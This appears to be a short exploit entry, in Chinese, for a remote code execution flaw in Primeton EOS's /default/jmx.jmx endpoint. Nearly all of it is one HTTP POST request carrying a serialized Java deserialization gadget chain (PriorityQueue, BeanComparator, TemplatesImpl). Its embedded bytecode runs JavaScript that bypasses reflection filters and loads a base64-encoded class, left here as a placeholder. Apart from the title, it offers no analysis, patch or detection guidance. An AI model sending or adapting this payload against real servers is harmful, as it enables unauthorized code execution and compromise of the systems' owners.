**普元 EOS default jmx 远程代码执行漏洞**

POST /default/jmx.jmx HTTP/1.1  
Host: target  
{{unquote("\xac\xed\x00\x05sr\x00\x17java.util.PriorityQueue\x94\xda0\xb4\xfb?\x82\xb1\x03\x00\x02I\x00\x04sizeL\x00\x0acomparatort\x00\x16Ljava/util/Comparator;xp\x00\x00\x00\x02sr\x00+org.apache.commons.beanutils.BeanComparator\xe3\xa1\x88\xeas\"\xa4H\x02\x00\x02L\x00\x0acomparatorq\x00~\x00\x01L\x00\x08propertyt\x00\x12Ljava/lang/String;xpsr\x00?org.apache.commons.collections.comparators.ComparableComparator\xfb\xf4\x99%\xb8n\xb17\x02\x00\x00xpt\x00\x10outputPropertiesw\x04\x00\x00\x00\x03sr\x00:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\x09WO\xc1n\xac\xab3\x03\x00\x06I\x00\x0d\_indentNumberI\x00\x0e\_transletIndex[\x00\x0a\_bytecodest\x00\x03[[B[\x00\x06\_classt\x00\x12[Ljava/lang/Class;L\x00\x05\_nameq\x00~\x00\x04L\x00\x11\_outputPropertiest\x00\x16Ljava/util/Properties;xp\x00\x00\x00\x00\xff\xff\xff\xffur\x00\x03[[BK\xfd\x19\x15gg\xdb7\x02\x00\x00xp\x00\x00\x00\x01ur\x00\x02[B\xac\xf3\x17\xf8\x06\x08T\xe0\x02\x00\x00xp\x00\x00\x29\xd8\xca\xfe\xba\xbe\x00\x00\x004\x001\x0a\x00\x09\x00!\x07\x00\"\x0a\x00\x02\x00!\x08\x00#\x0a\x00\x02\x00$\x08\x00%\x0b\x00&\x00'\x07\x00\x29\x07\x00\x28\x01\x00\x09transform\x01\x00r\x29Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;\x28V\x01\x00\x04Code\x01\x00\x0fLineNumberTable\x01\x00\x12LocalVariableTable\x01\x00\x04this\x01\x00\x0fLysoserial/TT1;\x01\x00\x08document\x01\x00-Lcom/sun/org/apache/xalan/internal/xsltc/DOM;\x01\x00\x08handlers\x01\x00B[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;\x01\x00\x0aExceptions\x07\x00\*\x01\x00\xa6\x29Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;\x28V\x01\x00\x08iterator\x01\x005Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;\x01\x00\x07handler\x01\x00ALcom/sun/org/apache/xml/internal/serializer/SerializationHandler;\x01\x00\x06<init>\x01\x00\x03\x29\x28V\x07\x00+\x01\x00\x0aSourceFile\x01\x00\x08TT1.java\x0c\x00\x1c\x00\x1d\x01\x00javax/script/ScriptEngineManager\x01\x00\x02js\x0c\x00,\x00-\x01#Atry\x7bload\x29\"nashorn:mozilla\_compat.js\"\x28\x7dcatch\x29A\x28\x7b\x7dfunction getUnsafe\x29\x28\x7bvarA=java.lang.Class.forName\x29\"sun.misc.Unsafe\"\x28.getDeclaredField\x29\"theUnsafe\"\x28;return  
A.setAccessible\x29!0\x28,A.get\x29null\x28\x7dfunction  
removeClassCache\x29A\x28\x7bvar  
B=getUnsafe\x29\x28,a=B.defineAnonymousClass\x29A,java.lang.Class.forName\x29\"java.lang.Class\"\x28.getResourceAsStream\x29\"Class.class\"\x28.readAllBytes\x29\x28,null\x28.getDeclaredField\x29\"reflectionData\"\x28;B.putObject\x29A,B.objectFieldOffset\x29a\x28,null\x28\x7dfunction  
bypassReflectionFilter\x29\x28\x7bvar  
A;try\x7bA=java.lang.Class.forName\x29\"jdk.internal.reflect.Reflection\"\x28\x7dcatch\x29B\x2  
8\x7bA=java.lang.Class.forName\x29\"sun.reflect.Reflection\"\x28\x7dvar  
B=getUnsafe\x29\x28,a=A.getResourceAsStream\x29\"Reflection.class\"\x28.readAllBytes\x29\x28,e=B.defineAnonymousClass\x29A,a,null\x28,c=e.getDeclaredField\x29\"fieldFilterMap\"\x28,l=e.getDeclaredField\x29\"methodFilterMap\"\x28;c.getType\x29\x28.isAssignableFrom\x29java.  
lang.Class.forName\x29\"java.util.HashMap\"\x28\x28&&B.putObject\x29A,B.staticFieldOffset\x29c\x28,java.lang.Class.forName\x29\"java.util.HashMap\"\x28.getConstructor\x29\x28.newInstance\x29\x28\x28,l.getType\x29\x28.isAssignableFrom\x29java.lang.Class.forName\x29\"java.util.HashMap\"\x28\x28&&B.putObject\x29A,B.staticFieldOffset\x29l\x28,java.lang.Class.forName\x29\"java.util.HashMap\"\x28.getConstructor\x29\x28.newInstance\x29\x28\x28,removeClassCache\x29java.lang.Class.forName\x29\"java.lang.Class\"\x28\x28\x7dfunctionsetAccessible\x29A\x28\x7bvar  
B=getUnsafe\x29\x28,a=java.lang.Class.forName\x29\"java.lang.reflect.AccessibleObject\"\x28.getDeclaredField\x29\"override\"\x28,e=B.objectFieldOffset\x29a\x28;B.putBoolean\x29A,e,!0\x28\x7dfunction  
defineClass\x29A\x28\x7bvar  
B=null,a=java.lang.System.getProperty\x29\"java.version\"\x28,e=getUnsafe\x29\x28,c=newjava.net.URLClassLoader\x29java.lang.reflect.Array.newInstance\x29java.lang.Class.forName\x29\"java.net.URL\"\x28,0\x28\x28;try\x7bif\x29a.split\x29\".\"\x28[0]>=11\x28bypassReflectionFilter\x29\x28,defineClassMethod=java.lang.Class.forName\x29\"java.lang.ClassLoader\"\x28.getDeclaredMethod\x29\"defineClass\",java.lang.Class.forName\x29\"[B\"\x28,java.lang.Integer.TYPE,java.lang.Integer.TYPE\x28,setAccessible\x29defineClassMethod\x28,B=defineClassMethod.invoke\x29c,A,0,A.length\x28;else\x7bvar l=new java.security.ProtectionDomain\x29newjava.security.CodeSource\x29null,java.lang.reflect.Array.newInstance\x29java.lang.Class.forName\x29\"java.security.cert.Certificate\"\x28,0\x28\x28,null,c,[]\x28;B=e.defineClass\x29null,A,0,A.length,c,l\x28\x7d\x7dcatch\x29A\x28\x7bA.printStackTrace\x29\x28\x7dfinally\x7breturnB\x7d\x7dfunction  
base64DecodeToByte\x29A\x28\x7bvar  
B;try\x7bB=java.lang.Class.forName\x29\"sun.misc.BASE64Decoder\"\x28.newInstance\x29\x28.decodeBuffer\x29A\x28\x7dcatch\x29a\x28\x7bB=java.lang.Class.forName\x29\"java.util.Base64\"\x28.newInstance\x29\x28.getDecoder\x29\x28.decode\x29A\x28\x7dreturn B\x7dvarcode=\"base64  
的  
编  
码  
\";clz=defineClass\x29base64DecodeToByte\x29code\x28\x28,clz.newInstance\x29\x28;\x07\x00.\x0c\x00/\x000\x01\x00\x0dysoserial/TT1\x01\x00@com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet\x01\x009com/sun/org/apache/xalan/internal/xsltc/TransletException\x01\x00\x13java/lang/Exception\x01\x00\x0fgetEngineByName\x01\x00/\x29Ljava/lang/String;\x28Ljavax/script/ScriptEngine;\x01\x00\x19javax/script/ScriptEngine\x01\x00\x04eval\x01\x00&\x29Ljava/lang/String;\x28Ljava/lang/Object;\x00!\x00\x08\x00\x09\x00\x00\x00\x00\x00\x03\x00\x01\x00\x0a\x00\x0b\x00\x02\x00\x0c\x00\x00\x00?\x00\x00\x00\x03\x00\x00\x00\x01\xb1\x00\x00\x00\x02\x00\x0d\x00\x00\x00\x06\x00\x01\x00\x00\x00\x14\x00\x0e\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x0f\x00\x10\x00\x00\x00\x00\x00\x01\x00\x11\x00\x12\x00\x01\x00\x00\x00\x01\x00\x13\x00\x14\x00\x02\x00\x15\x00\x00\x00\x04\x00\x01\x00\x16\x00\x01\x00\x0a\x00\x17\x00\x02\x00\x0c\x00\x00\x00I\x00\x00\x00\x04\x00\x00\x00\x01\xb1\x00\x00\x00\x02\x00\x0d\x00\x00\x00\x06\x00\x01\x00\x00\x00\x18\x00\x0e\x00\x00\x00\*\x00\x04\x00\x00\x00\x01\x00\x0f\x00\x10\x00\x00\x00\x00\x00\x01\x00\x11\x00\x12\x00\x01\x00\x00\x00\x01\x00\x18\x00\x19\x00\x02\x00\x00\x00\x01\x00\x1a\x00\x1b\x00\x03\x00\x15\x00\x00\x00\x04\x00\x01\x00\x16\x00\x01\x00\x1c\x00\x1d\x00\x02\x00\x0c\x00\x00\x00K\x00\x02\x00\x01\x00\x00\x00\x19\*\xb7\x00\x01\xbb\x00\x02Y\xb7\x00\x03\x12\x04\xb6\x00\x05\x12\x06\xb9\x00\x07\x02\x00W\xb1\x00\x00\x00\x02\x00\x0d\x00\x00\x00\x0e\x00\x03\x00\x00\x00\x1b\x00\x04\x00\x1c\x00\x18\x00\x1d\x00\x0e\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x19\x00\x0f\x00\x10\x00\x00\x00\x15\x00\x00\x00\x04\x00\x01\x00\x1e\x00\x01\x0  
0\x1f\x00\x00\x00\x02\x00 pt\x00\x12HelloTemplatesImplpw\x01\x00xq\x00~\x00\x0dx")}}

纯文本